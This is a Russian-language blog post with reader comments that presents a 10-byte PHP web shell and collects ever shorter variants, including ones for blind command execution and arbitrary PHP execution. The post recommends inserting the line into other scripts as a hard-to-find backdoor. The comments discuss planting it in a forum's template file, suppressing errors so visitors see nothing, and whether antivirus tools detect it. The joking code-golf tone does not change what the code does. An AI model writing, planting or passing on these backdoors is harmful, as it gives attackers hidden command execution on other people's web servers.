Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам:
<?=@`$c`?>
Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного <?php … ?> используется <?= … ?>, что эквивалентно <? echo … ?>; требуется включенная опция short_open_tag в php.ini. Для подавления ошибок (так как переменная не инициализирована) используется известный прием: перед выражением ставим @. Собственно выполнение команд реализовано с помощью обратных кавычек (backticks) – довольно хитрый прием, о котором знает далеко не каждый. Например, внедрив строку echo @`$c` в другой скрипт, мы имеем незаметный бэкдор, который очень трудно найти.
Плюсы моего шелла: размер!
Минусы: нужны short_open_tag и register_globals
20 replies on “Мега релиз: самый короткий шелл =)”
Всё таки минусы достаточно существенные, хотя и идея интересная 🙂
Прикольно, настоящийи webshell а антивирь только подтвреждает
это.
@R.e.a.L.
каким антивирем ты пользовался? На вирустотале ни один антивирь ничего подозрительного не увидел
@Pento
главный минус – это функциональность =)
касперь 6.0 при запуске скрипта с этим шелом однозначно определяет как потенциально опасное ПО а именно ROOTShell
ого! спасибо за информацию, не ожидал, что этот кусочек кода может быть как-то распознан )
частенько выручала такая строчка =)
Прикольная штука. Главное работает!
предлагаю немного уменьшить и убрать @! итого получим 9 байт! )
мы же всегда будем передавать параметр… поэтому при регистрер глобалс переменная всегда будет инициализированя…
ПС: первый раз написал сам шелл и ПХП обрезано было (
> мы же всегда будем передавать параметр…
а если это форум? или еще какой движок? допустим, вставим мы в какой-нибудь template.php этот шелл. template.php инклудится из index.php, etc.php. Заходя на сайт/форум, просой постетель будет видеть ошибку php, так как никаких параметров $c он передавать не будет. Так что, лучше подстраховаться и поставить заглушку @.
>просой постетель будет видеть ошибку php
верно, но в принципе подавление ошибок можно убрать, так как неинициализированная переменная вызывает ошибку уровня E_NOTICE, а на всех хостингах обычно error_reporting выставлен в 7 или даже 0.
А какая разница скока весит шелл ?
10 байт или ещё плюс 6 🙂
>А какая разница скока весит шелл ?
чисто кодерский интерес =)
Представляю новый релиз – самый короткий в мире веб-шелл на PHP (всего 9 байт), серьезно не воспринимать! =) Итак, та-дам:
<?=@`$z`;
зы. а на самом деле плевать на @ можно, получится 8.. но гугл %)
<?`$a`;
слепое выполнение кода – 7байт
<?$a($b);
выполнение произвольного php-кода
кто меньше?
ы =)
ice! =)
Прикольно. Хотел написать пример ещё короче, но вышло, что c411k меня уже опередил… да и новость смотрю довольно старая.
Коммент пишу только потому, что не слышал про самый последний пример электа:
<?$a($b);
КАК это работает?
Очень просто, например такой код выполнит phpinfo():
То есть к переменной c приинклюдить шелл по средством гет-запроса?
А где вы собираетесь ставить шеллы с “;” на конце, не в конец ли файла? Однако, немного примечательно. Но, если на то пошло:
“<?$a($b);
выполнение произвольного php-кода"
– 9 байт и заморочки с синтаксисом, нельзя в тупую присвоить переменной "a" команду. Пример: при "a" равном "echo 'ololo'" – Parse error: syntax error, unexpected '(', expecting ',' or ';' on line 1
Но плюс в том, что не нужен short_open_tag (который по дефолту включён).
<?=@`$c`;
– 9 байт без заморочек с синтаксисом (минус выше).